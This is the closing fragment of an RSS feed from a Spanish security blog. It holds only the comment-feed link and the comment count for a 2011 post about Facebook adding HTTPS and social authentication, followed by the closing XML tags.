			<wfw:commentRss>http://www.securityartwork.es/2011/01/28/facebook-anade-el-soporte-de-https-y-autenticacion-social/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

